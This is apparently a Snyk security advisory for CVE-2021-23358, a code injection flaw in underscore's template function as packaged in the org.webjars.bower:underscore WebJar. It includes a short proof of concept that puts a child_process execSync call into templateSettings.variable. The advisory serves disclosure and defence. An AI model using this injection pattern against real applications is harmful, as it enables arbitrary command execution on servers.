Arbitrary Code Injection Affecting org.webjars.bower:underscore package, versions [0,]


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
1.53% (88th percentile)

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  • Snyk IDSNYK-JAVA-ORGWEBJARSBOWER-1081504
  • published29 Mar 2021
  • disclosed2 Mar 2021
  • creditAlessio Della Libera (@d3lla)

Introduced: 2 Mar 2021

CVE-2021-23358  (opens in a new tab)
CWE-94  (opens in a new tab)

How to fix?

There is no fixed version for org.webjars.bower:underscore.

Overview

org.webjars.bower:underscore is a JavaScript's functional programming helper library.

Affected versions of this package are vulnerable to Arbitrary Code Injection via the template function, particularly when the variable option is taken from _.templateSettings as it is not sanitized.

PoC

const _ = require('underscore');
_.templateSettings.variable = "a = this.process.mainModule.require('child_process').execSync('touch HELLO')";
const t = _.template("")();

CVSS Scores

version 3.1